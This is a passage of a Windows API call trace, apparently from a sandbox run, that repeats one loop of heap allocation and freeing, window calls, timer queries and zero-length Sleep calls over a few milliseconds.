RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.226] GetProcessHeap () returned 0x790000 [0033.226] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.226] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.226] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.227] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.227] timeGetTime () returned 0x1143543 [0033.227] Sleep (dwMilliseconds=0x0) [0033.227] GetProcessHeap () returned 0x790000 [0033.227] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.227] GetProcessHeap () returned 0x790000 [0033.227] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.227] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.227] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.227] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.227] timeGetTime () returned 0x1143543 [0033.227] Sleep (dwMilliseconds=0x0) [0033.227] GetProcessHeap () returned 0x790000 [0033.227] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.227] GetProcessHeap () returned 0x790000 [0033.227] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.227] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.227] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.227] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.227] timeGetTime () returned 0x1143543 [0033.227] Sleep (dwMilliseconds=0x0) [0033.227] GetProcessHeap () returned 0x790000 [0033.227] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.227] GetProcessHeap () returned 0x790000 [0033.227] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.227] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.227] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.227] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.227] timeGetTime () returned 0x1143543 [0033.227] Sleep (dwMilliseconds=0x0) [0033.227] GetProcessHeap () returned 0x790000 [0033.227] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.227] GetProcessHeap () returned 0x790000 [0033.227] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.227] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.227] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.228] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.228] timeGetTime () returned 0x1143543 [0033.228] Sleep (dwMilliseconds=0x0) [0033.228] GetProcessHeap () returned 0x790000 [0033.228] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.228] GetProcessHeap () returned 0x790000 [0033.228] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.228] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.228] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.228] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.228] timeGetTime () returned 0x1143543 [0033.228] Sleep (dwMilliseconds=0x0) [0033.228] GetProcessHeap () returned 0x790000 [0033.228] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.228] GetProcessHeap () returned 0x790000 [0033.228] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.228] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.228] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.228] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.228] timeGetTime () returned 0x1143543 [0033.228] Sleep (dwMilliseconds=0x0) [0033.228] GetProcessHeap () returned 0x790000 [0033.228] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.228] GetProcessHeap () returned 0x790000 [0033.228] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.228] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.228] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.228] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.228] timeGetTime () returned 0x1143543 [0033.228] Sleep (dwMilliseconds=0x0) [0033.228] GetProcessHeap () returned 0x790000 [0033.228] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.228] GetProcessHeap () returned 0x790000 [0033.228] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.228] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.228] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.229] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.229] timeGetTime () returned 0x1143543 [0033.229] Sleep (dwMilliseconds=0x0) [0033.229] GetProcessHeap () returned 0x790000 [0033.229] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.229] GetProcessHeap () returned 0x790000 [0033.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.229] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.229] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.229] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.229] timeGetTime () returned 0x1143543 [0033.229] Sleep (dwMilliseconds=0x0) [0033.229] GetProcessHeap () returned 0x790000 [0033.229] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.229] GetProcessHeap () returned 0x790000 [0033.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.229] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.229] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.229] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.229] timeGetTime () returned 0x1143543 [0033.229] Sleep (dwMilliseconds=0x0) [0033.229] GetProcessHeap () returned 0x790000 [0033.229] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.229] GetProcessHeap () returned 0x790000 [0033.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.229] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.229] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.229] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.229] timeGetTime () returned 0x1143543 [0033.229] Sleep (dwMilliseconds=0x0) [0033.229] GetProcessHeap () returned 0x790000 [0033.229] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.229] GetProcessHeap () returned 0x790000 [0033.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.229] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.229] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.229] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.230] timeGetTime () returned 0x1143543 [0033.230] Sleep (dwMilliseconds=0x0) [0033.230] GetProcessHeap () returned 0x790000 [0033.230] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.230] GetProcessHeap () returned 0x790000 [0033.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.230] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.230] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.230] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.230] timeGetTime () returned 0x1143543 [0033.230] Sleep (dwMilliseconds=0x0) [0033.230] GetProcessHeap () returned 0x790000 [0033.230] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.230] GetProcessHeap () returned 0x790000 [0033.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.230] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.230] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.230] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.230] timeGetTime () returned 0x1143543 [0033.230] Sleep (dwMilliseconds=0x0) [0033.230] GetProcessHeap () returned 0x790000 [0033.230] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.230] GetProcessHeap () returned 0x790000 [0033.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.230] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.230] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.230] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.230] timeGetTime () returned 0x1143543 [0033.230] Sleep (dwMilliseconds=0x0) [0033.230] GetProcessHeap () returned 0x790000 [0033.230] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.230] GetProcessHeap () returned 0x790000 [0033.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.230] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.230] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.230] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.230] timeGetTime () returned 0x1143543 [0033.231] Sleep (dwMilliseconds=0x0) [0033.231] GetProcessHeap () returned 0x790000 [0033.231] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.231] GetProcessHeap () returned 0x790000 [0033.231] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.231] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.231] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.231] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.231] timeGetTime () returned 0x1143543 [0033.231] Sleep (dwMilliseconds=0x0) [0033.231] GetProcessHeap () returned 0x790000 [0033.231] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.231] GetProcessHeap () returned 0x790000 [0033.231] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.231] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.231] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.231] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.231] timeGetTime () returned 0x1143543 [0033.231] Sleep (dwMilliseconds=0x0) [0033.231] GetProcessHeap () returned 0x790000 [0033.231] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.231] GetProcessHeap () returned 0x790000 [0033.231] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.231] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.231] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.231] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.231] timeGetTime () returned 0x1143543 [0033.231] Sleep (dwMilliseconds=0x0) [0033.231] GetProcessHeap () returned 0x790000 [0033.231] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.231] GetProcessHeap () returned 0x790000 [0033.231] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.231] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.231] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.231] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.231] timeGetTime () returned 0x1143543 [0033.232] Sleep (dwMilliseconds=0x0) [0033.232] GetProcessHeap () returned 0x790000 [0033.232] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.232] GetProcessHeap () returned 0x790000 [0033.232] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.232] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.232] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.232] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.232] timeGetTime () returned 0x1143543 [0033.232] Sleep (dwMilliseconds=0x0) [0033.232] GetProcessHeap () returned 0x790000 [0033.232] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.232] GetProcessHeap () returned 0x790000 [0033.232] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.232] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.232] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.232] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.232] timeGetTime () returned 0x1143553 [0033.232] Sleep (dwMilliseconds=0x0) [0033.232] GetProcessHeap () returned 0x790000 [0033.232] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.232] GetProcessHeap () returned 0x790000 [0033.232] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.232] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.232] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.232] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.232] timeGetTime () returned 0x1143553 [0033.232] Sleep (dwMilliseconds=0x0) [0033.232] GetProcessHeap () returned 0x790000 [0033.232] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.232] GetProcessHeap () returned 0x790000 [0033.232] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.232] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.232] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.232] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.233] timeGetTime () returned 0x1143553 [0033.233] Sleep (dwMilliseconds=0x0) [0033.233] GetProcessHeap () returned 0x790000 [0033.233] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.233] GetProcessHeap () returned 0x790000 [0033.233] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.233] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.233] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.233] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.233] timeGetTime () returned 0x1143553 [0033.233] Sleep (dwMilliseconds=0x0) [0033.233] GetProcessHeap () returned 0x790000 [0033.233] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.233] GetProcessHeap () returned 0x790000 [0033.233] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.233] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.233] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.233] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.233] timeGetTime () returned 0x1143553 [0033.233] Sleep (dwMilliseconds=0x0) [0033.233] GetProcessHeap () returned 0x790000 [0033.233] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.233] GetProcessHeap () returned 0x790000 [0033.233] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.233] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.233] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.233] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.233] timeGetTime () returned 0x1143553 [0033.233] Sleep (dwMilliseconds=0x0) [0033.233] GetProcessHeap () returned 0x790000 [0033.233] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.233] GetProcessHeap () returned 0x790000 [0033.233] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.233] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.233] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.233] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.233] timeGetTime () returned 0x1143553 [0033.234] Sleep (dwMilliseconds=0x0) [0033.234] GetProcessHeap () returned 0x790000 [0033.234] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.234] GetProcessHeap () returned 0x790000 [0033.234] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.234] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.234] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.234] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.234] timeGetTime () returned 0x1143553 [0033.234] Sleep (dwMilliseconds=0x0) [0033.234] GetProcessHeap () returned 0x790000 [0033.234] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.234] GetProcessHeap () returned 0x790000 [0033.234] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.234] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.234] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.234] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.234] timeGetTime () returned 0x1143553 [0033.234] Sleep (dwMilliseconds=0x0) [0033.234] GetProcessHeap () returned 0x790000 [0033.234] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.234] GetProcessHeap () returned 0x790000 [0033.234] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.234] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.234] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.234] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.234] timeGetTime () returned 0x1143553 [0033.234] Sleep (dwMilliseconds=0x0) [0033.234] GetProcessHeap () returned 0x790000 [0033.234] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.234] GetProcessHeap () returned 0x790000 [0033.234] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.234] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.234] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.234] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.234] timeGetTime () returned 0x1143553 [0033.235] Sleep (dwMilliseconds=0x0) [0033.235] GetProcessHeap () returned 0x790000 [0033.235] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.235] GetProcessHeap () returned 0x790000 [0033.235] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.235] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.235] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.235] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.235] timeGetTime () returned 0x1143553 [0033.235] Sleep (dwMilliseconds=0x0) [0033.235] GetProcessHeap () returned 0x790000 [0033.235] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.235] GetProcessHeap () returned 0x790000 [0033.235] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.235] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.235] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.235] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.235] timeGetTime () returned 0x1143553 [0033.235] Sleep (dwMilliseconds=0x0) [0033.235] GetProcessHeap () returned 0x790000 [0033.235] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.235] GetProcessHeap () returned 0x790000 [0033.235] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.235] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.235] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.235] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.235] timeGetTime () returned 0x1143553 [0033.235] Sleep (dwMilliseconds=0x0) [0033.235] GetProcessHeap () returned 0x790000 [0033.235] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.235] GetProcessHeap () returned 0x790000 [0033.235] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.235] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.235] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.235] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.235] timeGetTime () returned 0x1143553 [0033.235] Sleep (dwMilliseconds=0x0) [0033.236] GetProcessHeap () returned 0x790000 [0033.236] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.236] GetProcessHeap () returned 0x790000 [0033.236] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.236] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.236] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.236] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.236] timeGetTime () returned 0x1143553 [0033.236] Sleep (dwMilliseconds=0x0) [0033.236] GetProcessHeap () returned 0x790000 [0033.236] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.236] GetProcessHeap () returned 0x790000 [0033.236] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.236] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.236] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.236] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.236] timeGetTime () returned 0x1143553 [0033.236] Sleep (dwMilliseconds=0x0) [0033.236] GetProcessHeap () returned 0x790000 [0033.236] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.236] GetProcessHeap () returned 0x790000 [0033.236] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.236] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.236] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.236] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.236] timeGetTime () returned 0x1143553 [0033.236] Sleep (dwMilliseconds=0x0) [0033.236] GetProcessHeap () returned 0x790000 [0033.236] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.236] GetProcessHeap () returned 0x790000 [0033.236] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.236] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.236] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.236] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.236] timeGetTime () returned 0x1143553 [0033.236] Sleep (dwMilliseconds=0x0) [0033.237] GetProcessHeap () returned 0x790000 [0033.237] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.237] GetProcessHeap () returned 0x790000 [0033.237] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.237] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.237] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.237] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.237] timeGetTime () returned 0x1143553 [0033.237] Sleep (dwMilliseconds=0x0) [0033.237] GetProcessHeap () returned 0x790000 [0033.237] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.237] GetProcessHeap () returned 0x790000 [0033.237] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.237] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.237] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.237] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.237] timeGetTime () returned 0x1143553 [0033.237] Sleep (dwMilliseconds=0x0) [0033.237] GetProcessHeap () returned 0x790000 [0033.237] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.237] GetProcessHeap () returned 0x790000 [0033.237] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.237] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.237] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.237] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.237] timeGetTime () returned 0x1143553 [0033.237] Sleep (dwMilliseconds=0x0) [0033.237] GetProcessHeap () returned 0x790000 [0033.237] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.237] GetProcessHeap () returned 0x790000 [0033.237] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.237] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.237] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.237] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.237] timeGetTime () returned 0x1143553 [0033.237] Sleep (dwMilliseconds=0x0) [0033.238] GetProcessHeap () returned 0x790000 [0033.238] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.238] GetProcessHeap () returned 0x790000 [0033.238] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.238] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.238] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.238] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.238] timeGetTime () returned 0x1143553 [0033.238] Sleep (dwMilliseconds=0x0) [0033.238] GetProcessHeap () returned 0x790000 [0033.238] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.238] GetProcessHeap () returned 0x790000 [0033.238] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.238] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.238] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.238] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.238] timeGetTime () returned 0x1143553 [0033.238] Sleep (dwMilliseconds=0x0) [0033.238] GetProcessHeap () returned 0x790000 [0033.238] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.238] GetProcessHeap () returned 0x790000 [0033.238] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.238] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.238] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.238] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.238] timeGetTime () returned 0x1143553 [0033.238] Sleep (dwMilliseconds=0x0) [0033.238] GetProcessHeap () returned 0x790000 [0033.238] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.238] GetProcessHeap () returned 